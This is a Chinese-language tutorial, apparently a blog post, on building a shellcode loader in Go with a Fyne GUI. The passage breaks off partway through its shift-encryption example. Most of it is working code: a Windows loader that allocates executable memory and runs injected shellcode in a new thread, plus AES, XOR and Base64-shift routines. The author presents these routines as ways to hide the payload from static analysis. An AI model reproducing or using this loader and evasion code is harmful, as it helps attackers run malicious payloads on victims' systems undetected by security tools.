
使用 Go 和 Fyne 实现 Shellcode 加载器
背景介绍
在安全研究和渗透测试领域,Shellcode 是一种常见的攻击载荷,用于在目标系统中执行特定功能。然而,手动将 Shellcode 注入程序并生成可执行文件的过程往往繁琐且容易出错。为了简化这一流程,我开发了一个基于 Go 语言的 Shellcode 加载器,并结合 Fyne 框架为其添加了图形用户界面(GUI)。本文将分享这个工具的实现过程,包括核心加载逻辑、加密混淆技术、高级加载方式,以及如何通过 GUI 提升用户体验。
技术选型
Go 语言:Go 提供了跨平台支持、强大的标准库和简单的编译过程,非常适合开发安全工具。
Fyne 框架:Fyne 是一个轻量级的 Go GUI 框架,支持跨平台开发,易于上手,适合快速构建用户界面。
Windows API:通过
syscall
调用 Windows 的内存分配和线程创建函数,实现 Shellcode 的加载。
实现过程
1. 核心加载逻辑
Shellcode 的加载需要将代码注入内存并执行。我们使用 Go 的syscall
包调用 Windows API,实现基本的内存加载流程。以下是核心代码:
package main
import (
"log"
"syscall"
"unsafe"
)
func BasicMemoryLoader(shellcode []byte) {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
virtualAlloc := kernel32.NewProc("VirtualAlloc")
rtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
createThread := kernel32.NewProc("CreateThread")
waitForSingleObject := kernel32.NewProc("WaitForSingleObject")
mem, _, err := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
if mem == 0 {
log.Fatalf("VirtualAlloc 失败: %v", err)
}
_, _, err = rtlMoveMemory.Call(mem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
log.Fatalf("RtlMoveMemory 失败: %v", err)
}
thread, _, err := createThread.Call(0, 0, mem, 0, 0, 0)
if thread == 0 {
log.Fatalf("CreateThread 失败: %v", err)
}
_, _, err = waitForSingleObject.Call(thread, 0xFFFFFFFF)
if err != nil && err.Error() != "The operation completed successfully." {
log.Fatalf("WaitForSingleObject 失败: %v", err)
}
}
解析:
VirtualAlloc
分配一块可执行内存(PAGE_EXECUTE_READWRITE
)。RtlMoveMemory
将 Shellcode 复制到分配的内存。CreateThread
创建线程执行 Shellcode。WaitForSingleObject
等待线程完成。
2. 加密与混淆
1) AES加密和XOR混淆
为了提高 Shellcode 的隐蔽性,实现了 AES 加密和 XOR 混淆,也是常用的加密混淆方式:
package main
import (
"crypto/aes"
"crypto/cipher"
crand "crypto/rand"
"encoding/base64"
"log"
mrand "math/rand"
)
func EncryptShellcodeAES(shellcode []byte) (string, string, []byte, error) {
key := make([]byte, 16)
if _, err := crand.Read(key); err != nil {
return "", "", nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return "", "", nil, err
}
padded := padShellcode(shellcode, aes.BlockSize)
iv := make([]byte, aes.BlockSize)
if _, err := crand.Read(iv); err != nil {
return "", "", nil, err
}
mode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(padded))
mode.CryptBlocks(encrypted, padded)
return base64.StdEncoding.EncodeToString(iv), base64.StdEncoding.EncodeToString(encrypted), key, nil
}
func XORObfuscate(shellcode []byte, key int64) string {
mrand.Seed(key)
encoded := base64.StdEncoding.EncodeToString(shellcode)
var result []byte
for _, c := range encoded {
result = append(result, byte(c)^byte(mrand.Intn(256)))
}
return base64.StdEncoding.EncodeToString(result)
}
解析:
AES 加密:使用
crypto/rand
生成随机密钥和 IV,CBC 模式加密 Shellcode。XOR 混淆:使用
math/rand
生成伪随机数,与 Shellcode 进行异或操作。
2)Base64 + 移位加密
描述:先将 Shellcode 编码为 Base64,然后对每个字节进行移位操作(例如左移或右移),增加静态分析的难度。
优点:简单高效,易于实现。
缺点:移位操作可逆性较强,需结合其他方法提升安全性。
代码示例:
package main
import (
"encoding/base64"
"log"
)
// ShiftEncrypt 使用移位加密混淆 Shellcode
func ShiftEncrypt(shellcode []byte, shift int) string {
encoded := base64.StdEncoding.EncodeToString(shellcode)
result := make([]byte, len(encoded))
for i, b := range []byte(encoded) {
result[i] = b + byte(shift) // 简单右移加密
}
return string(result)
}
// ShiftDecrypt 解密移位加密的 Shellcode
func ShiftDecrypt(encrypted string, shift int) ([]byte, error) {
data := []byte(encrypted)
decoded := make([]byte, len(data))
for i, b := range data {
decoded[i] = b - byte(shift) // 逆向移位
}
return base64.StdEncoding.DecodeString(string(decoded))
}
// 示例使用
func ExampleShift() {
shellcode := []byte{0x90, 0x90, 0x90}
encrypted := ShiftEncrypt(shellcode, 3)
log.Println("Encrypted:", encrypted)
decrypted, err := ShiftDecrypt(encrypted, 3)
if err != nil {
log.Fatalf("Decrypt failed: %v", err)
}
log.Println("Decrypted:", de
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